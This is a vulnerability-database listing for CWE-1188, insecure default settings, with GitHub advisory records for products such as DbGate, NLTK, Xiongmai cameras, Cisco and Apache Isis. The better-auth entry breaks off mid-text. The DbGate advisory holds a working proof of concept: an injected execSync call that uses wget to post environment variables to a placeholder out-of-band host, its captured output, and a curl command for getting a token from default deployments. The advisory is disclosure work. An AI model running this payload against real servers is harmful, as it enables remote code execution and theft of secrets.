CWE-1188
AllowedInitialization of a Resource with an Insecure Default
Abstraction: Base · Status: Incomplete
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
502 vulnerabilities reference this CWE, most recent first.
GHSA-8RQ8-HFWR-4P7V
Vulnerability from github – Published: 2025-09-29 18:33 – Updated: 2025-09-29 18:33VMware Aria Operations contains an information disclosure vulnerability. A malicious actor with non-administrative privileges in Aria Operations may exploit this vulnerability to disclose credentials of other users of Aria Operations.
{
"affected": [],
"aliases": [
"CVE-2025-41245"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-29T17:15:31Z",
"severity": "MODERATE"
},
"details": "VMware Aria Operations contains an information disclosure vulnerability.\u00a0A malicious actor with non-administrative privileges in Aria Operations may exploit this vulnerability to disclose credentials of other users of Aria Operations.",
"id": "GHSA-8rq8-hfwr-4p7v",
"modified": "2025-09-29T18:33:13Z",
"published": "2025-09-29T18:33:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41245"
},
{
"type": "WEB",
"url": "http://support.broadcom.com/group/ecx/support-content-view/-/support-content/Security%20Advisories/VMSA-2025-0015--VMware-Aria-Operations-and-VMware-Tools-updates-address-multiple-vulnerabilities--CVE-2025-41244-CVE-2025-41245--CVE-2025-41246-/36149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8V3Q-9VMX-36VC
Vulnerability from github – Published: 2026-06-05 16:25 – Updated: 2026-06-05 16:25Summary
DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.
Details
Step 1: User Input Entry Point
File: packages/api/src/controllers/runners.js - start() method
The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:
async start({ script }, req) {
if (script.type == 'json') {
if (!platformInfo.isElectron) {
if (!checkSecureDirectoriesInScript(script)) {
return { errorMessage: 'Unallowed directories in script' };
}
}
logJsonRunnerScript(req, script);
const js = await jsonScriptToJavascript(script);
return this.startCore(runid, scriptTemplate(js, false));
}
This path skips:
1. The run-shell-script permission check
2. The allowShellScripting platform-level check
The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values
Step 2: JSON-to-JavaScript Conversion (Injection Point)
File: packages/tools/src/ScriptWriter.ts - assignCore() method
The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:
assignCore(variableName, functionName, props) {
this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}
Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.
Step 3: Function Name Compilation
File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()
Before interpolation, functionName passes through this function:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}
An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:
dbgateApi.x;MALICIOUS_CODE;//
This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.
Step 4: Generated JavaScript Template
The complete generated script that gets executed:
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
Step 5: Execution via child_process.fork()
File: packages/api/src/controllers/runners.js - startCore() method
The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.
The require = null sandbox can be bypassed via:
- process.mainModule.require() - separate reference unaffected by the null assignment
- module.constructor._load() - internal module loader, also unaffected
Additional Injection Points
The same unsanitised string interpolation pattern exists in:
| Endpoint | Parameter | File |
|---|---|---|
POST /runners/start |
functionName in assign commands |
ScriptWriter.ts - assignCore() |
POST /runners/start |
variableName in assign commands |
ScriptWriter.ts - assignCore() |
POST /runners/load-reader |
functionName parameter |
ScriptWriter.ts - loaderScriptTemplate |
PoC
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json
{
"script": {
"type": "json",
"commands": [
{
"type": "assign",
"variableName": "x",
"functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
"props": {}
}
],
"packageNames": []
}
}
The request to the out of band host was as follows:
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c
A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:
curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login
Impact
| Scenario | Impact | CVSS Score | CVSS Vector |
|---|---|---|---|
Anonymous auth mode (default deployment) (authProvider: "Anonymous") |
Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Timeline
| Date | Event |
|---|---|
| 2026-03-31 | Vulnerability discovered |
| 2026-04-07 | Advisory report prepared and submitted to maintainer |
| 2026-04-22 | Fix released (v7.1.9) |
| 2026-04-24 | Maintainer acknowledgment |
| 2026-05-20 | Public disclosure |
Acknowledgements
- Discovery assisted by Neo from @ProjectDiscovery
- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.1.8"
},
"package": {
"ecosystem": "npm",
"name": "dbgate-serve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47668"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-20",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:25:23Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nDbGate\u0027s JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == \u0027json\u0027`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n if (script.type == \u0027json\u0027) {\n if (!platformInfo.isElectron) {\n if (!checkSecureDirectoriesInScript(script)) {\n return { errorMessage: \u0027Unallowed directories in script\u0027 };\n }\n }\n logJsonRunnerScript(req, script);\n const js = await jsonScriptToJavascript(script);\n return this.startCore(runid, scriptTemplate(js, false));\n }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script\u0027s `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n if (nsMatch) {\n return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n }\n return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n const x = await dbgateApi.x;process.mainModule.require(\u0027child_process\u0027).execSync(\u0027wget \u003cattacker host\u003e\u0027);//({});\n await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: \u003cdbgate-instance\u003e:3000\nAuthorization: Bearer \u003ctoken\u003e\nContent-Type: application/json\n\n{\n \"script\": {\n \"type\": \"json\",\n \"commands\": [\n {\n \"type\": \"assign\",\n \"variableName\": \"x\",\n \"functionName\": \"x;process.mainModule.require(\u0027child_process\u0027).execSync(\u0027wget --post-data \\\"$(env 2\u003e1\u0026)\\\" \u003cout of band host\u003e\u0027);//\",\n \"props\": {}\n }\n ],\n \"packageNames\": []\n }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: \u003cout of band host\u003e\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\" -d \u0027{\"amoid\":\"none\"}\u0027 \u003cdbgate-instance\u003e:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n \u2014 https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
"id": "GHSA-8v3q-9vmx-36vc",
"modified": "2026-06-05T16:25:23Z",
"published": "2026-06-05T16:25:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc"
},
{
"type": "PACKAGE",
"url": "https://github.com/dbgate/dbgate"
},
{
"type": "WEB",
"url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
},
{
"type": "WEB",
"url": "https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DbGate: Unauthenticated Remote Code Execution via JSON Script Runner"
}
GHSA-8VH5-MGJJ-W6HG
Vulnerability from github – Published: 2026-08-22 15:31 – Updated: 2026-09-02 15:40Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.9.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T15:40:08Z",
"nvd_published_at": "2026-08-22T15:16:18Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.",
"id": "GHSA-8vh5-mgjj-w6hg",
"modified": "2026-09-02T15:40:08Z",
"published": "2026-08-22T15:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62388"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: [CWE-1188] Default ENFORCE=False Disables All pathsec Security Controls",
"withdrawn": "2026-09-02T15:40:08Z"
}
GHSA-9336-2GC5-Q65C
Vulnerability from github – Published: 2026-09-11 21:31 – Updated: 2026-09-15 18:32An insecure default configuration in the embedded Happytime RTSP server within the Sofia IPC daemon in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier ships with authentication disabled, allowing remote unauthenticated attackers to access live H.264 video and G.711 audio feeds in cleartext over unencrypted RTP/UDP.
{
"affected": [],
"aliases": [
"CVE-2026-79394"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-11T19:17:46Z",
"severity": "HIGH"
},
"details": "An insecure default configuration in the embedded Happytime RTSP server within the Sofia IPC daemon in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier ships with authentication disabled, allowing remote unauthenticated attackers to access live H.264 video and G.711 audio feeds in cleartext over unencrypted RTP/UDP.",
"id": "GHSA-9336-2gc5-q65c",
"modified": "2026-09-15T18:32:18Z",
"published": "2026-09-11T21:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79394"
},
{
"type": "WEB",
"url": "https://github.com/ShiroiBoushi/vulnerability-research/tree/main/CVE-2026-79394"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-97V5-H9X8-C8WJ
Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19The BluStar component in Mitel InAttend before 2.5 SP3 and CMG before 8.4 SP3 Suite Servers has a default password, which could allow remote attackers to gain unauthorized access and execute arbitrary scripts with potential impacts to the confidentiality, integrity and availability of the system.
{
"affected": [],
"aliases": [
"CVE-2018-19275"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-02T18:29:00Z",
"severity": "CRITICAL"
},
"details": "The BluStar component in Mitel InAttend before 2.5 SP3 and CMG before 8.4 SP3 Suite Servers has a default password, which could allow remote attackers to gain unauthorized access and execute arbitrary scripts with potential impacts to the confidentiality, integrity and availability of the system.",
"id": "GHSA-97v5-h9x8-c8wj",
"modified": "2022-05-13T01:19:46Z",
"published": "2022-05-13T01:19:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19275"
},
{
"type": "WEB",
"url": "https://www.mitel.com/-/media/mitel/pdf/security-advisories/security-bulletin-190002001-v10.pdf"
},
{
"type": "WEB",
"url": "https://www.mitel.com/en-gb/support/security-advisories/mitel-product-security-advisory-19-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-998R-J9RX-QM8M
Vulnerability from github – Published: 2022-10-19 12:00 – Updated: 2024-08-01 21:47When running in prototype mode, the h2 webconsole module (accessible from the Prototype menu) is automatically made available with the ability to directly query the database. It was felt that it is safer to require the developer to explicitly enable this capability. As of 2.0.0-M8, this can now be done using the isis.prototyping.h2-console.web-allow-remote-access configuration property; the web console will be unavailable without setting this configuration. As an additional safeguard, the new isis.prototyping.h2-console.generate-random-web-admin-password configuration parameter (enabled by default) requires that the administrator use a randomly generated password to use the console. The password is printed to the log, as webAdminPass: xxx (where xxx) is the password. To revert to the original behaviour, the administrator would therefore need to set these configuration parameter: isis.prototyping.h2-console.web-allow-remote-access=true isis.prototyping.h2-console.generate-random-web-admin-password=false Note also that the h2 webconsole is never available in production mode, so these safeguards are only to ensure that the webconsole is secured by default also in prototype mode.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.isis.core:isis-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0-M8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-42467"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-19T18:48:29Z",
"nvd_published_at": "2022-10-19T08:15:00Z",
"severity": "MODERATE"
},
"details": "When running in prototype mode, the h2 webconsole module (accessible from the Prototype menu) is automatically made available with the ability to directly query the database. It was felt that it is safer to require the developer to explicitly enable this capability. As of 2.0.0-M8, this can now be done using the `isis.prototyping.h2-console.web-allow-remote-access` configuration property; the web console will be unavailable without setting this configuration. As an additional safeguard, the new `isis.prototyping.h2-console.generate-random-web-admin-password` configuration parameter (enabled by default) requires that the administrator use a randomly generated password to use the console. The password is printed to the log, as `webAdminPass: xxx` (where `xxx`) is the password. To revert to the original behaviour, the administrator would therefore need to set these configuration parameter: `isis.prototyping.h2-console.web-allow-remote-access=true isis.prototyping.h2-console.generate-random-web-admin-password=false` Note also that the h2 webconsole is never available in production mode, so these safeguards are only to ensure that the webconsole is secured by default also in prototype mode.",
"id": "GHSA-998r-j9rx-qm8m",
"modified": "2024-08-01T21:47:51Z",
"published": "2022-10-19T12:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42467"
},
{
"type": "WEB",
"url": "https://github.com/apache/isis/commit/9fcab9816dac37e0f07ffe3f5c4f47df9cec8694"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/isis"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/jbv2ddt00h7ntlbm6vkk4wdmb31pm8q3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/19/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Isis webconsole module may directly query the database in prototype mode"
}
GHSA-999G-R275-5MJF
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22Premisys Identicard version 3.1.190 database uses default credentials. Users are unable to change the credentials without vendor intervention.
{
"affected": [],
"aliases": [
"CVE-2019-3909"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-18T18:29:00Z",
"severity": "CRITICAL"
},
"details": "Premisys Identicard version 3.1.190 database uses default credentials. Users are unable to change the credentials without vendor intervention.",
"id": "GHSA-999g-r275-5mjf",
"modified": "2022-05-13T01:22:28Z",
"published": "2022-05-13T01:22:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3909"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2019-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106552"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9C95-PJG5-CJ3R
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46A vulnerability in Cisco Ultra Services Framework Element Manager could allow an authenticated, remote attacker with access to the management network to log in to the affected device using default credentials present on the system, aka an Insecure Default Password Vulnerability. More Information: CSCvc76695. Known Affected Releases: 21.0.0.
{
"affected": [],
"aliases": [
"CVE-2017-6687"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-13T06:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco Ultra Services Framework Element Manager could allow an authenticated, remote attacker with access to the management network to log in to the affected device using default credentials present on the system, aka an Insecure Default Password Vulnerability. More Information: CSCvc76695. Known Affected Releases: 21.0.0.",
"id": "GHSA-9c95-pjg5-cj3r",
"modified": "2022-05-13T01:46:44Z",
"published": "2022-05-13T01:46:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6687"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-usf5"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98981"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9CMP-2G73-FF98
Vulnerability from github – Published: 2023-08-07 15:30 – Updated: 2024-02-21 21:30A flaw was found in the Linux kernel's TUN/TAP functionality. This issue could allow a local user to bypass network filters and gain unauthorized access to some resources. The original patches fixing CVE-2023-1076 are incorrect or incomplete. The problem is that the following upstream commits - a096ccca6e50 ("tun: tun_chr_open(): correctly initialize socket uid"), - 66b2c338adce ("tap: tap_open(): correctly initialize socket uid"), pass "inode->i_uid" to sock_init_data_uid() as the last parameter and that turns out to not be accurate.
{
"affected": [],
"aliases": [
"CVE-2023-4194"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-843",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-07T14:15:11Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the Linux kernel\u0027s TUN/TAP functionality. This issue could allow a local user to bypass network filters and gain unauthorized access to some resources. The original patches fixing CVE-2023-1076 are incorrect or incomplete. The problem is that the following upstream commits - a096ccca6e50 (\"tun: tun_chr_open(): correctly initialize socket uid\"), - 66b2c338adce (\"tap: tap_open(): correctly initialize socket uid\"), pass \"inode-\u003ei_uid\" to sock_init_data_uid() as the last parameter and that turns out to not be accurate.",
"id": "GHSA-9cmp-2g73-ff98",
"modified": "2024-02-21T21:30:26Z",
"published": "2023-08-07T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4194"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:6583"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-4194"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2229498"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/344H6HO6SSC4KT7PDFXSDIXKMKHISSGF"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3TYLSJ2SAI7RF56ZLQ5CQWCJLVJSD73Q"
},
{
"type": "WEB",
"url": "https://lore.kernel.org/all/20230731164237.48365-1-lersek@redhat.com"
},
{
"type": "WEB",
"url": "https://lore.kernel.org/all/20230731164237.48365-2-lersek@redhat.com"
},
{
"type": "WEB",
"url": "https://lore.kernel.org/all/20230731164237.48365-3-lersek@redhat.com"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231027-0002"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5480"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5492"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9H47-PQCX-HJR4
Vulnerability from github – Published: 2026-07-07 20:55 – Updated: 2026-07-07 20:55Am I affected?
Users are affected if all of the following are true:
- Their application uses
better-authat a version below the patched release. - Their application enables
oidcProvider()frombetter-auth/plugins/oidc-providerormcp()frombetter-auth/plugins/mcp(the mcp plugin delegates tooidcProviderand inherits both defaults). - For the algorithm-negotiation impact: relying parties of the application's OIDC server use a JWT verification library that performs algorithm negotiation from the discovery document without pinning to a specific signing algorithm.
- For the PKCE impact: the authorization URL is exposed to any party other than the user agent and the application's OP.
If the application only uses @better-auth/oauth-provider (the canonical replacement) and have not enabled the legacy plugins, it is not affected. The new package's discovery document excludes none and its authorize schema rejects plain at parse time.
Fix:
- Upgrade to
better-auth@1.6.11or later. - Migrate from the deprecated
oidcProviderandmcpplugins to@better-auth/oauth-providerwhen feasible. - If developers cannot upgrade their applications, see workarounds below.
Summary
The legacy oidcProvider and mcp plugins exhibit two related defects in their OIDC discovery and authorize surfaces.
The discovery document advertises "none" in id_token_signing_alg_values_supported (and, for mcp, in resource_signing_alg_values_supported on the OAuth protected-resource metadata). Any relying party that performs algorithm negotiation from this metadata without pinning to a real signing algorithm may accept unsigned tokens.
PKCE plain is enabled by default. The runtime gate in the authorize handler accepts code_challenge_method=plain under this default, and a missing code_challenge_method parameter is silently downgraded to "plain" before the allowlist check. Discovery advertises code_challenge_methods_supported: ["S256"], contradicting the runtime acceptance of plain. RFC 9700 §2.1.1 (OAuth 2.1) explicitly forbids plain.
Details
The metadata builders unconditionally inject "none" into the alg list. The runtime authorize gate is structured so a buggy client that strips the code_challenge_method parameter still enters the plain code path because the handler rewrites the missing value to "plain" before the allowlist check fires.
